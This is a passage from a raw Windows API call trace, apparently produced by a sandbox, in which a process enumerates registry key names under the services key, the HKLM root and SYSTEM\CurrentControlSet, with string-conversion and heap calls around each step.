lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0239.475] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0239.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0239.475] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0239.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0239.475] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0239.476] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0239.476] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0239.476] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1da8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0239.476] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1928, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0239.476] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0239.477] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0239.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0239.477] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0239.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0239.477] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0239.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0239.477] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0239.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1da8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0239.477] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0239.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0239.477] RegCloseKey (hKey=0x150) returned 0x0 [0239.477] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0239.478] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0239.478] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.478] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.478] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0239.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.478] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.479] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.479] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0239.479] RegCloseKey (hKey=0x80000002) returned 0x0 [0239.479] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.479] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1da8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.479] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0239.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.480] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.480] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.480] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.480] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.480] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.481] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.481] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.481] RegCloseKey (hKey=0x148) returned 0x0 [0239.481] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.481] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.481] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0239.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 